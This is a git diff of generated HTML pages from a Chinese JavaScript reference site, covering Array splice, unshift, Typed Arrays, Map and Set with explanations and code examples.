                                                                                                                            // 被删除元素的数组:["y","z"]

                                                                                                                            参考资料

                                                                                                                            +
                                                                                                                            // 从第1位开始删除其后所有即[1,end]的元素
                                                                                                                            removed = foo.splice(1);
                                                                                                                            // 运算后的 foo: ["x"]
                                                                                                                            // 被删除元素的数组:["y","z"]

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/typed-array/index.html b/standard-built-in-objects/indexed-collections/array/typed-array/index.html index c6e94ab3f..8d0ca7e87 100644 --- a/standard-built-in-objects/indexed-collections/array/typed-array/index.html +++ b/standard-built-in-objects/indexed-collections/array/typed-array/index.html @@ -7,34 +7,37 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Typed Array - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Typed Array

                                                                                                                            JavaScript 类型化数组是一种类似数组的对象,并提供了一种用于访问原始二进制数据的机制。 正如你可能已经知道,Array 存储的对象能动态增多和减少,并且可以存储任何 JavaScript 值。JavaScript 引擎会做一些内部优化,以便对数组的操作可以很快。然而,随着 Web 应用程序变得越来越强大,尤其一些新增加的功能例如:音频视频编辑、访问 WebSockets 的原始数据等,很明显有些时候如果使用 JavaScript 代码可以快速方便地通过类型化数组来操作原始的二进制数据将会非常有帮助。

                                                                                                                            但是,不要把类型化数组与正常数组混淆,因为在类型数组上调用 Array.isArray() 会返回 false。此外,并不是所有可用于正常数组的方法都能被类型化数组所支持(如 pushpop)。

                                                                                                                            可以使用类型化数组来处理来自网络协议、二进制文件格式和原始图形缓冲区等源的二进制数据。类型化数组还可用于管理具有已知字节布局的内存中二进制数据。

                                                                                                                            缓冲和视图:类型数组架构

                                                                                                                            为了达到最大的灵活性和效率,JavaScript 类型数组(Typed Arrays)将实现拆分为缓冲视图两部分。一个缓冲(由 ArrayBuffer 对象实现)描述的是一个数据块。缓冲没有格式可言,并且不提供机制访问其内容。为了访问在缓冲对象中包含的内存,你需要使用视图。视图提供了上下文 — 即数据类型、起始偏移量和元素数 — 将数据转换为实际有类型的数组。

                                                                                                                            ArrayBuffer

                                                                                                                            数组缓冲

                                                                                                                            ArrayBuffer 是一种数据类型,用来表示一个通用的、固定长度的二进制数据缓冲区。你不能直接操纵一个 ArrayBuffer 中的内容;你需要创建一个类型化数组的视图或一个描述缓冲数据格式的 DataView,使用它们来读写缓冲区中的内容。

                                                                                                                            类型化数组视图

                                                                                                                            类型化数组的类型表示可对其创建索引和进行操作的 ArrayBuffer 对象的视图。所有数组类型都具有固定长度。

                                                                                                                            类型大小(以字节为单位)描述Web IDL 类型Equivalent C type
                                                                                                                            Int8Array18 位补码带符号整数byteint8_t
                                                                                                                            Uint8Array18 位无符号整数octetuint8_t
                                                                                                                            Uint8ClampedArray18 位无符号整数(Clamped)octetuint8_t
                                                                                                                            Int16Array216 位补码带符号整数shortint16_t
                                                                                                                            Uint16Array216 位无符号整数unsigned shortuint16_t
                                                                                                                            Int32Array432 位补码带符号整数longint32_t
                                                                                                                            Uint32Array432 位无符号整数unsigned shortuint32_t
                                                                                                                            Float32Array432 位 IEEE 浮点unrestricted floatfloat
                                                                                                                            Float64Array864 位 IEEE 浮点unrestricted doubledouble

                                                                                                                            数据视图

                                                                                                                            DataView 是一种底层接口,它提供有可以操作缓冲区中任意数据的读写接口。这对操作不同类型数据的场景很有帮助,例如:类型化数组视图都是运行在本地字节序模式(参考 Endianness),可以通过使用 DataView来控制字节序。默认是大端字节序(Big-endian),但可以调用读写接口改为小端字节序(Little-endian)。

                                                                                                                            示例

                                                                                                                            使用视图和缓冲

                                                                                                                            首先,我们创建一个 16 字节固定长度的缓冲:

                                                                                                                            var buffer = new ArrayBuffer(16);

                                                                                                                            现在我们有了一段初始化为 0 的内存,目前还做不了什么太多操作。让我们确认一下数据的字节长度:

                                                                                                                            if (buffer.byteLength === 16) {
                                                                                                                            console.log("Yes, it's 16 bytes.");
                                                                                                                            } else {
                                                                                                                            console.log("Oh no, it's the wrong size!");
                                                                                                                            }

                                                                                                                            在实际开始操作这个缓冲之前,需要创建一个视图。我们将创建一个视图,此视图将把缓冲内的数据格式化为一个 32 位的有符号整数数组:

                                                                                                                            var int32View = new Int32Array(buffer);

                                                                                                                            现在我们可以像普通数组一样访问该数组中的元素:

                                                                                                                            for (var i = 0; i < int32View.length; i++) {
                                                                                                                            int32View[i] = i * 2;
                                                                                                                            }

                                                                                                                            该代码会将数组以 0, 2, 4 和 6 填充 (一共 4 个 4 字节元素,所以总长度为 16 字节)。

                                                                                                                            同一数据的多个视图

                                                                                                                            更有意思的是,你可以在同一数据上创建多个视图。例如:基于上文的代码,我们可以添加如下代码处理:

                                                                                                                            var int16View = new Int16Array(buffer);
                                                                                                                            -
                                                                                                                            for (var i = 0; i < int16View.length; i++) {
                                                                                                                            console.log('Entry ' + i + ': ' + int16View[i]);
                                                                                                                            }

                                                                                                                            这里我们创建了一个 2 字节整数视图,该视图共享上文的 4 字节整数视图的缓冲,然后以 2 字节整数打印出缓冲里的数据,这次我们会得到 0, 0, 2, 0, 4, 0, 6, 0 这样的输出。

                                                                                                                            那么,这样呢?

                                                                                                                            int16View[0] = 32;
                                                                                                                            console.log('Entry 0 in the 32-bit array is now ' + int32View[0]);

                                                                                                                            这次的输出是"Entry 0 in the 32-bit array is now 32"。也就是,这 2 个数组都是同一数据的以不同格式展示出来的视图。你可以使用任何一种 view types 中的定义的视图。

                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Typed Array

                                                                                                                            JavaScript 类型化数组是一种类似数组的对象,并提供了一种用于访问原始二进制数据的机制。 正如你可能已经知道,Array 存储的对象能动态增多和减少,并且可以存储任何 JavaScript 值。JavaScript 引擎会做一些内部优化,以便对数组的操作可以很快。然而,随着 Web 应用程序变得越来越强大,尤其一些新增加的功能例如:音频视频编辑、访问 WebSockets 的原始数据等,很明显有些时候如果使用 JavaScript 代码可以快速方便地通过类型化数组来操作原始的二进制数据将会非常有帮助。

                                                                                                                            但是,不要把类型化数组与正常数组混淆,因为在类型数组上调用 Array.isArray() 会返回 false。此外,并不是所有可用于正常数组的方法都能被类型化数组所支持(如 pushpop)。

                                                                                                                            可以使用类型化数组来处理来自网络协议、二进制文件格式和原始图形缓冲区等源的二进制数据。类型化数组还可用于管理具有已知字节布局的内存中二进制数据。

                                                                                                                            缓冲和视图:类型数组架构

                                                                                                                            为了达到最大的灵活性和效率,JavaScript 类型数组(Typed Arrays)将实现拆分为缓冲视图两部分。一个缓冲(由 ArrayBuffer 对象实现)描述的是一个数据块。缓冲没有格式可言,并且不提供机制访问其内容。为了访问在缓冲对象中包含的内存,你需要使用视图。视图提供了上下文 — 即数据类型、起始偏移量和元素数 — 将数据转换为实际有类型的数组。

                                                                                                                            ArrayBuffer

                                                                                                                            数组缓冲

                                                                                                                            ArrayBuffer 是一种数据类型,用来表示一个通用的、固定长度的二进制数据缓冲区。你不能直接操纵一个 ArrayBuffer 中的内容;你需要创建一个类型化数组的视图或一个描述缓冲数据格式的 DataView,使用它们来读写缓冲区中的内容。

                                                                                                                            类型化数组视图

                                                                                                                            类型化数组的类型表示可对其创建索引和进行操作的 ArrayBuffer 对象的视图。所有数组类型都具有固定长度。

                                                                                                                            类型大小(以字节为单位)描述Web IDL 类型Equivalent C type
                                                                                                                            Int8Array18 位补码带符号整数byteint8_t
                                                                                                                            Uint8Array18 位无符号整数octetuint8_t
                                                                                                                            Uint8ClampedArray18 位无符号整数(Clamped)octetuint8_t
                                                                                                                            Int16Array216 位补码带符号整数shortint16_t
                                                                                                                            Uint16Array216 位无符号整数unsigned shortuint16_t
                                                                                                                            Int32Array432 位补码带符号整数longint32_t
                                                                                                                            Uint32Array432 位无符号整数unsigned shortuint32_t
                                                                                                                            Float32Array432 位 IEEE 浮点unrestricted floatfloat
                                                                                                                            Float64Array864 位 IEEE 浮点unrestricted doubledouble

                                                                                                                            数据视图

                                                                                                                            DataView 是一种底层接口,它提供有可以操作缓冲区中任意数据的读写接口。这对操作不同类型数据的场景很有帮助,例如:类型化数组视图都是运行在本地字节序模式(参考 Endianness),可以通过使用 DataView来控制字节序。默认是大端字节序(Big-endian),但可以调用读写接口改为小端字节序(Little-endian)。

                                                                                                                            示例

                                                                                                                            使用视图和缓冲

                                                                                                                            首先,我们创建一个 16 字节固定长度的缓冲:

                                                                                                                            var buffer = new ArrayBuffer(16);

                                                                                                                            现在我们有了一段初始化为 0 的内存,目前还做不了什么太多操作。让我们确认一下数据的字节长度:

                                                                                                                            if (buffer.byteLength === 16) {
                                                                                                                            console.log("Yes, it's 16 bytes.");
                                                                                                                            } else {
                                                                                                                            console.log("Oh no, it's the wrong size!");
                                                                                                                            }

                                                                                                                            在实际开始操作这个缓冲之前,需要创建一个视图。我们将创建一个视图,此视图将把缓冲内的数据格式化为一个 32 位的有符号整数数组:

                                                                                                                            var int32View = new Int32Array(buffer);

                                                                                                                            现在我们可以像普通数组一样访问该数组中的元素:

                                                                                                                            for (var i = 0; i < int32View.length; i++) {
                                                                                                                            int32View[i] = i * 2;
                                                                                                                            }

                                                                                                                            该代码会将数组以 0, 2, 4 和 6 填充 (一共 4 个 4 字节元素,所以总长度为 16 字节)。

                                                                                                                            同一数据的多个视图

                                                                                                                            更有意思的是,你可以在同一数据上创建多个视图。例如:基于上文的代码,我们可以添加如下代码处理:

                                                                                                                            var int16View = new Int16Array(buffer);
                                                                                                                            +
                                                                                                                            for (var i = 0; i < int16View.length; i++) {
                                                                                                                            console.log('Entry ' + i + ': ' + int16View[i]);
                                                                                                                            }

                                                                                                                            这里我们创建了一个 2 字节整数视图,该视图共享上文的 4 字节整数视图的缓冲,然后以 2 字节整数打印出缓冲里的数据,这次我们会得到 0, 0, 2, 0, 4, 0, 6, 0 这样的输出。

                                                                                                                            那么,这样呢?

                                                                                                                            int16View[0] = 32;
                                                                                                                            console.log('Entry 0 in the 32-bit array is now ' + int32View[0]);

                                                                                                                            这次的输出是"Entry 0 in the 32-bit array is now 32"。也就是,这 2 个数组都是同一数据的以不同格式展示出来的视图。你可以使用任何一种 view types 中的定义的视图。

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/unshift/index.html b/standard-built-in-objects/indexed-collections/array/unshift/index.html index 733750c9b..682482c16 100644 --- a/standard-built-in-objects/indexed-collections/array/unshift/index.html +++ b/standard-built-in-objects/indexed-collections/array/unshift/index.html @@ -7,39 +7,42 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.prototype.unshift - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.unshift()

                                                                                                                            Array.prototype.unshift() 方法用于向当前数组的开头位置插入一个或多个指定的元素,并返回插入后的数组长度。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.unshift( item1 [, items... ] )

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            unshif(...items: T[]): number;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            item1添加到当前数组开头处的元素any
                                                                                                                            itemN要添加到当前数组开头处的其他项,可以有多个。any

                                                                                                                            返回值:

                                                                                                                            返回插入元素后的当前数组的长度。

                                                                                                                            方法说明

                                                                                                                            当向数组中添加新的元素时,数组的 length 属性也会随之改变(如果数组中有元素的话),一般而言,数组的 length 属性将会加 NN 为添加的元素个数)。

                                                                                                                            代码示例

                                                                                                                            let arr = [1, 2];
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.unshift()

                                                                                                                            Array.prototype.unshift() 方法用于向当前数组的开头位置插入一个或多个指定的元素,并返回插入后的数组长度。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.unshift( item1 [, items... ] )

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            unshif(...items: T[]): number;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            item1添加到当前数组开头处的元素any
                                                                                                                            itemN要添加到当前数组开头处的其他项,可以有多个。any

                                                                                                                            返回值:

                                                                                                                            返回插入元素后的当前数组的长度。

                                                                                                                            方法说明

                                                                                                                            当向数组中添加新的元素时,数组的 length 属性也会随之改变(如果数组中有元素的话),一般而言,数组的 length 属性将会加 NN 为添加的元素个数)。

                                                                                                                            代码示例

                                                                                                                            let arr = [1, 2];
                                                                                                                            arr.unshift(0);
                                                                                                                            // 3
                                                                                                                            console.log(arr);
                                                                                                                            // [0, 1, 2]
                                                                                                                            arr.unshift(-2, -1);
                                                                                                                            // 5
                                                                                                                            console.log(arr);
                                                                                                                            // [-2, -1, 0, 1, 2]
                                                                                                                            arr.unshift([-3]);
                                                                                                                            // 6
                                                                                                                            -
                                                                                                                            console.log(arr);
                                                                                                                            // [[-3], -2, -1, 0, 1, 2]

                                                                                                                            参考资料

                                                                                                                            +
                                                                                                                            console.log(arr);
                                                                                                                            // [[-3], -2, -1, 0, 1, 2]

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/keyed-collections/index.html b/standard-built-in-objects/keyed-collections/index.html index 624feb146..69e9ab957 100644 --- a/standard-built-in-objects/keyed-collections/index.html +++ b/standard-built-in-objects/keyed-collections/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            - + diff --git a/standard-built-in-objects/keyed-collections/map/index.html b/standard-built-in-objects/keyed-collections/map/index.html index 17b4e8ba1..c1043e60e 100644 --- a/standard-built-in-objects/keyed-collections/map/index.html +++ b/standard-built-in-objects/keyed-collections/map/index.html @@ -7,28 +7,31 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Map - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Map

                                                                                                                            Map 对象保存键值对。任何值(对象或者原始值)都可以作为一个键或一个值。

                                                                                                                            它和 Object 对象不同,对象只能用字符串和 Symbol 作为键,而 Map 可以使用任何值。

                                                                                                                            语法

                                                                                                                            new Map([iterable]);
                                                                                                                            参数说明
                                                                                                                            iterableIterable 可以是一个数组或者其他 Iterable 对象,其元素或为键值对,或为两个元素的数组。 每个键值对都会添加到新的 Map。null 会被当做 undefined

                                                                                                                            描述

                                                                                                                            键的比较是基于 SameValueZero 算法:NaN 是与 NaN 相同的(虽然 NaN !== NaN),剩下所有其它的值是根据 === 运算符的结果判断是否相等。

                                                                                                                            对象与字典的对比

                                                                                                                            Object 和 Map 类似的一点是,它们都允许你按键存取一个值,都可以删除键,还可以检测一个键是否绑定了值。

                                                                                                                            除了键类型上的不同,Map 和 Object 还有以下不同:

                                                                                                                            1. Map 中的键是有序的,而添加到对象中的键则不同
                                                                                                                            2. Map 可以通过 size 获取键值个数,Object 的键值对个数只能手动计算
                                                                                                                            3. Map 可直接进行迭代,而 Object 的迭代需要先获取它的键数组,然后进行迭代
                                                                                                                            4. Object 都有自己的原型,原型链上的键名有可能和你自己在对象上的设置键名产生冲突。虽然 ES5 开始可以用 map = Object.create(null) 来创建一个没有原型的对象,但是这种用法不太常见
                                                                                                                            5. Map 在涉及频繁增删键值对的场景下会有些性能优势

                                                                                                                            但是这并不意味着你可以随意使用 Map,对象仍旧是最常用的。Map 实例只适合用于集合(Collections),你应当考虑修改你原来的代码——先前使用对象来处理集合的地方。对象应该用其字段和方法来作为记录的。 如果你不确定要使用哪个,请思考下面的问题:

                                                                                                                            • 在运行之前 key 是否是未知的,是否需要动态地查询 key 呢?
                                                                                                                            • 是否所有的值都是统一类型,这些值可以互换么?
                                                                                                                            • 是否需要不是字符串类型的 key ?
                                                                                                                            • 键值对经常增加或者删除么?
                                                                                                                            • 是否有任意个且非常容易改变的键值对?
                                                                                                                            • 这个集合可以遍历么?

                                                                                                                            假如以上全是"是"的话,那么你需要用 Map 来保存这个集。相反,你有固定数目的键值对,独立操作它们,区分它们的用法,那么你需要的是对象。

                                                                                                                            原型属性

                                                                                                                            属性描述
                                                                                                                            Map.prototype.constructor返回一个函数,它创建了实例的原型。默认是 Map 函数。
                                                                                                                            Map.prototype.size返回 Map 对象的键/值对的数量。

                                                                                                                            size

                                                                                                                            Map.prototype.size 属性返回 Map 结构的成员总数。

                                                                                                                            const map = new Map();
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Map

                                                                                                                            Map 对象保存键值对。任何值(对象或者原始值)都可以作为一个键或一个值。

                                                                                                                            它和 Object 对象不同,对象只能用字符串和 Symbol 作为键,而 Map 可以使用任何值。

                                                                                                                            语法

                                                                                                                            new Map([iterable]);
                                                                                                                            参数说明
                                                                                                                            iterableIterable 可以是一个数组或者其他 Iterable 对象,其元素或为键值对,或为两个元素的数组。 每个键值对都会添加到新的 Map。null 会被当做 undefined

                                                                                                                            描述

                                                                                                                            键的比较是基于 SameValueZero 算法:NaN 是与 NaN 相同的(虽然 NaN !== NaN),剩下所有其它的值是根据 === 运算符的结果判断是否相等。

                                                                                                                            对象与字典的对比

                                                                                                                            Object 和 Map 类似的一点是,它们都允许你按键存取一个值,都可以删除键,还可以检测一个键是否绑定了值。

                                                                                                                            除了键类型上的不同,Map 和 Object 还有以下不同:

                                                                                                                            1. Map 中的键是有序的,而添加到对象中的键则不同
                                                                                                                            2. Map 可以通过 size 获取键值个数,Object 的键值对个数只能手动计算
                                                                                                                            3. Map 可直接进行迭代,而 Object 的迭代需要先获取它的键数组,然后进行迭代
                                                                                                                            4. Object 都有自己的原型,原型链上的键名有可能和你自己在对象上的设置键名产生冲突。虽然 ES5 开始可以用 map = Object.create(null) 来创建一个没有原型的对象,但是这种用法不太常见
                                                                                                                            5. Map 在涉及频繁增删键值对的场景下会有些性能优势

                                                                                                                            但是这并不意味着你可以随意使用 Map,对象仍旧是最常用的。Map 实例只适合用于集合(Collections),你应当考虑修改你原来的代码——先前使用对象来处理集合的地方。对象应该用其字段和方法来作为记录的。 如果你不确定要使用哪个,请思考下面的问题:

                                                                                                                            • 在运行之前 key 是否是未知的,是否需要动态地查询 key 呢?
                                                                                                                            • 是否所有的值都是统一类型,这些值可以互换么?
                                                                                                                            • 是否需要不是字符串类型的 key ?
                                                                                                                            • 键值对经常增加或者删除么?
                                                                                                                            • 是否有任意个且非常容易改变的键值对?
                                                                                                                            • 这个集合可以遍历么?

                                                                                                                            假如以上全是"是"的话,那么你需要用 Map 来保存这个集。相反,你有固定数目的键值对,独立操作它们,区分它们的用法,那么你需要的是对象。

                                                                                                                            原型属性

                                                                                                                            属性描述
                                                                                                                            Map.prototype.constructor返回一个函数,它创建了实例的原型。默认是 Map 函数。
                                                                                                                            Map.prototype.size返回 Map 对象的键/值对的数量。

                                                                                                                            size

                                                                                                                            Map.prototype.size 属性返回 Map 结构的成员总数。

                                                                                                                            const map = new Map();
                                                                                                                            map.set('foo', true);
                                                                                                                            map.set('bear', false);
                                                                                                                            console.log(map.size);
                                                                                                                            // 2

                                                                                                                            原型方法

                                                                                                                            方法描述
                                                                                                                            Map.prototype.set(key, value)用于设置 Map 对象中键的值,返回该 Map 对象
                                                                                                                            Map.prototype.get(key)用于获取一个 Map 对象中指定 key 的元素
                                                                                                                            Map.prototype.has(key)用于校验 Map 中是否存在指定 key 值的元素
                                                                                                                            Map.prototype.delete(key)用于移除任何与键相关联的值,并且返回该值
                                                                                                                            Map.prototype.clear()用于移除 Map 对象中的所有元素
                                                                                                                            Map.prototype.forEach(callbackFn [,thisArg])按插入顺序,为 Map 对象里的每一键值对调用一次回调函数。如果为 forEach 提供了 thisArg ,它将在每次调用回调中作为 this
                                                                                                                            Map.prototype.keys()返回一个新的 Iterable 对象。它包含按照顺序插入 Map 对象中每个元素的 key 值。
                                                                                                                            Map.prototype.values()返回一个新的 Iterator 对象,它按插入顺序包含了 Map 对象中每个元素的值。
                                                                                                                            Map.prototype.entries()返回一个新的包含 [key, value] 对的 Iterable 对象,返回迭代器的迭代顺序与 Map 对象的插入顺序相同。
                                                                                                                            Map.prototype[@@iterator]()返回一个新的 MapIterator 对象,它按插入顺序包含了 Map 对象中每个元素的 [key, value] 数组。

                                                                                                                            set(key, value)

                                                                                                                            set 方法设置 key 对应的键值,然后返回整个 Map 结构。如果 Map 结构。如果 key 已经有值,则键值会被更新,否则就新生成该键。

                                                                                                                            set 方法返回的是当前的 Map 对象,因此可以采用链式写法。

                                                                                                                            const map = new Map();
                                                                                                                            // 键是字符串
                                                                                                                            map.set('edition', 6);
                                                                                                                            // 键是数值
                                                                                                                            map.set(262, 'standard');
                                                                                                                            // 键是 undefined
                                                                                                                            map.set(undefined, 'nah');
                                                                                                                            @@ -92,12 +95,12 @@
                                                                                                                            console.log(toMap('[[true, 7], [{"foo": 3}, ["abc"]]]'));
                                                                                                                            // Map(true => 7, Object {foo: 3} => ['abc'])

                                                                                                                            替代 if-else

                                                                                                                            const timemap = new Map([
                                                                                                                            [0, '星期天'],
                                                                                                                            [1, '星期一'],
                                                                                                                            [2, '星期二'],
                                                                                                                            [3, '星期三'],
                                                                                                                            [4, '星期四'],
                                                                                                                            [5, '星期五'],
                                                                                                                            [6, '星期六'],
                                                                                                                            ]);
                                                                                                                            // 中间使用 React Hooks 的 useEffect 实现
                                                                                                                            const [time, setTime] = setState(new Date());
                                                                                                                            useEffect(() => {
                                                                                                                            clearInterval();
                                                                                                                            setInterval(() => {
                                                                                                                            setTimeout(new Date());
                                                                                                                            }, 1000);
                                                                                                                            });
                                                                                                                            -
                                                                                                                            const res = (timemap.get(time.getDay()) || '') + time.toLacleTimeString();
                                                                                                                            +
                                                                                                                            const res = (timemap.get(time.getDay()) || '') + time.toLacleTimeString();
                                                                                                                            - + diff --git a/standard-built-in-objects/keyed-collections/set/index.html b/standard-built-in-objects/keyed-collections/set/index.html index 9a41c0de2..666c20b4b 100644 --- a/standard-built-in-objects/keyed-collections/set/index.html +++ b/standard-built-in-objects/keyed-collections/set/index.html @@ -7,28 +7,31 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Set - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Set

                                                                                                                            Set 对象允许你存储任何类型的唯一值,无论是原始值或者是对象引用。

                                                                                                                            语法

                                                                                                                            new Set([iterable]);

                                                                                                                            参数

                                                                                                                            参数说明
                                                                                                                            iterable如果传递一个可迭代对象,它的所有元素将被添加到新的 Set 中。如果不指定此参数或其值为 null,则新的 Set 为空。

                                                                                                                            描述

                                                                                                                            向 Set 加入值时不会发生类型转换,所以 5'5' 是两个不同的值。Set 内部判断两个值是否相同时使用的算法叫做 Same-value equality,它类似于精准相等运算符(===),主要的区别是 NaN 等于自身,而精准相等运算符认为 NaN 不等于自身。

                                                                                                                            原型对象

                                                                                                                            属性

                                                                                                                            属性描述
                                                                                                                            Set.prototype.constructor构造函数,默认是 Set 函数。
                                                                                                                            Set.prototype.size返回 Set 实例的成员总数

                                                                                                                            方法

                                                                                                                            Set 实例的方法分为两大类:操作方法(用于操作数据)和遍历方法(用于遍历成员)。

                                                                                                                            操作方法

                                                                                                                            方法描述
                                                                                                                            Set.prototype.add(value)用来向一个 Set 对象的末尾添加一个指定的值。
                                                                                                                            Set.prototype.delete(value)可以从一个 Set 对象中删除指定的元素。
                                                                                                                            Set.prototype.has(value)返回一个布尔值来指示对应的值 value 是否存在 Set 对象中。
                                                                                                                            Set.prototype.clear()清空一个 Set 对象中的所有元素。

                                                                                                                            遍历方法

                                                                                                                            方法描述
                                                                                                                            Set.prototype.keys()values() 方法相同,返回一个新的迭代器对象,该对象包含 Set 对象中的按插入顺序排列的所有元素的值。
                                                                                                                            Set.prototype.values()返回一个 Iterator 对象,这个对象以插入 Set 对象的顺序包含了原 Set 对象里的每个元素。
                                                                                                                            Set.prototype.entries()返回一个新的迭代器对象,这个对象的元素是类似 [value, value] 形式的数组,value 是集合对象爱你个中的每个元素,迭代器对象元素的顺序即集合对象爱你个中元素插入的顺序。由于集合对象不像 Map 对象那样拥有 key ,然而,为了与 Map 对象的 API 形式保持一致,故使得每一个 entrykeyvalue 都拥有相同的值,因而最终返回一个 [value, value] 形式的数组。
                                                                                                                            Set.prototype.forEach()根据集合中元素的顺序,对每个元素都执行提供的回调函数一次。

                                                                                                                            需要特别指出的是,Set 的遍历顺序就是插入顺序。这个特性有时非常有用,比如使用 Set 保存一个回调函数列表,调用时就能保证按照添加顺序调用。

                                                                                                                            keys 方法、values 方法、entries 方法返回的都是遍历器对象爱你个。由于 Set 结构没有键名,只有键值(或者说键名和键值是同一个值),所以 keys 方法和 values 方法的行为完全一致。

                                                                                                                            Set.prototype.keys()

                                                                                                                            用于获取 Set 对象中的按插入顺序排列的所有元素的值。

                                                                                                                            let set = new Set(['x', 'y', 'z']);
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Set

                                                                                                                            Set 对象允许你存储任何类型的唯一值,无论是原始值或者是对象引用。

                                                                                                                            语法

                                                                                                                            new Set([iterable]);

                                                                                                                            参数

                                                                                                                            参数说明
                                                                                                                            iterable如果传递一个可迭代对象,它的所有元素将被添加到新的 Set 中。如果不指定此参数或其值为 null,则新的 Set 为空。

                                                                                                                            描述

                                                                                                                            向 Set 加入值时不会发生类型转换,所以 5'5' 是两个不同的值。Set 内部判断两个值是否相同时使用的算法叫做 Same-value equality,它类似于精准相等运算符(===),主要的区别是 NaN 等于自身,而精准相等运算符认为 NaN 不等于自身。

                                                                                                                            原型对象

                                                                                                                            属性

                                                                                                                            属性描述
                                                                                                                            Set.prototype.constructor构造函数,默认是 Set 函数。
                                                                                                                            Set.prototype.size返回 Set 实例的成员总数

                                                                                                                            方法

                                                                                                                            Set 实例的方法分为两大类:操作方法(用于操作数据)和遍历方法(用于遍历成员)。

                                                                                                                            操作方法

                                                                                                                            方法描述
                                                                                                                            Set.prototype.add(value)用来向一个 Set 对象的末尾添加一个指定的值。
                                                                                                                            Set.prototype.delete(value)可以从一个 Set 对象中删除指定的元素。
                                                                                                                            Set.prototype.has(value)返回一个布尔值来指示对应的值 value 是否存在 Set 对象中。
                                                                                                                            Set.prototype.clear()清空一个 Set 对象中的所有元素。

                                                                                                                            遍历方法

                                                                                                                            方法描述
                                                                                                                            Set.prototype.keys()values() 方法相同,返回一个新的迭代器对象,该对象包含 Set 对象中的按插入顺序排列的所有元素的值。
                                                                                                                            Set.prototype.values()返回一个 Iterator 对象,这个对象以插入 Set 对象的顺序包含了原 Set 对象里的每个元素。
                                                                                                                            Set.prototype.entries()返回一个新的迭代器对象,这个对象的元素是类似 [value, value] 形式的数组,value 是集合对象爱你个中的每个元素,迭代器对象元素的顺序即集合对象爱你个中元素插入的顺序。由于集合对象不像 Map 对象那样拥有 key ,然而,为了与 Map 对象的 API 形式保持一致,故使得每一个 entrykeyvalue 都拥有相同的值,因而最终返回一个 [value, value] 形式的数组。
                                                                                                                            Set.prototype.forEach()根据集合中元素的顺序,对每个元素都执行提供的回调函数一次。

                                                                                                                            需要特别指出的是,Set 的遍历顺序就是插入顺序。这个特性有时非常有用,比如使用 Set 保存一个回调函数列表,调用时就能保证按照添加顺序调用。

                                                                                                                            keys 方法、values 方法、entries 方法返回的都是遍历器对象爱你个。由于 Set 结构没有键名,只有键值(或者说键名和键值是同一个值),所以 keys 方法和 values 方法的行为完全一致。

                                                                                                                            Set.prototype.keys()

                                                                                                                            用于获取 Set 对象中的按插入顺序排列的所有元素的值。

                                                                                                                            let set = new Set(['x', 'y', 'z']);
                                                                                                                            for (let item of set.keys()) {
                                                                                                                            console.log(item);
                                                                                                                            }
                                                                                                                            // Output: 'x'
                                                                                                                            // Output: 'y'
                                                                                                                            // Output: 'z'

                                                                                                                            Set.prototype.values()

                                                                                                                            let set = new Set(['x', 'y', 'z']);
                                                                                                                            for (let item of set.values()) {
                                                                                                                            console.log(item);
                                                                                                                            }
                                                                                                                            // Output: 'x'
                                                                                                                            // Output: 'y'
                                                                                                                            // Output: 'z'

                                                                                                                            Set.prototype.entries()

                                                                                                                            entries 方法返回的遍历器同时包括键名和键值,所以每次输出一个数据,其两个成员完全相等。

                                                                                                                            let set = new Set(['x', 'y', 'z']);
                                                                                                                            for (let item of set.entries()) {
                                                                                                                            console.log(item);
                                                                                                                            }
                                                                                                                            // Output: ["x", "x"]
                                                                                                                            // Output: ["y", "y"]
                                                                                                                            // Output: ["z", "z"]

                                                                                                                            Set 结构的实例默认可遍历,其默认遍历器生成函数就是它的 values 方法。

                                                                                                                            console.log(Set.prototype[Symbol.iterator] === Set.prototype.values); // Output: true

                                                                                                                            这意味着,可以省略 values 方法,直接用 for...of 循环遍历 Set

                                                                                                                            let set = new Set(['x', 'y', 'z']);
                                                                                                                            @@ -49,12 +52,12 @@
                                                                                                                            // 差集
                                                                                                                            let difference = new Set([...a].filter(x => !b.has(x)));
                                                                                                                            // Set {1}

                                                                                                                            结构变动

                                                                                                                            如果想在遍历操作中同步改变原来的 Set 结构,目前没有直接的方法,但有两种变通方法。一种是利用原 Set 结构映射出一个新的结构,然后赋值给原来的 Set 结构;另一种是利用 Array.from 方法。

                                                                                                                            // Method A
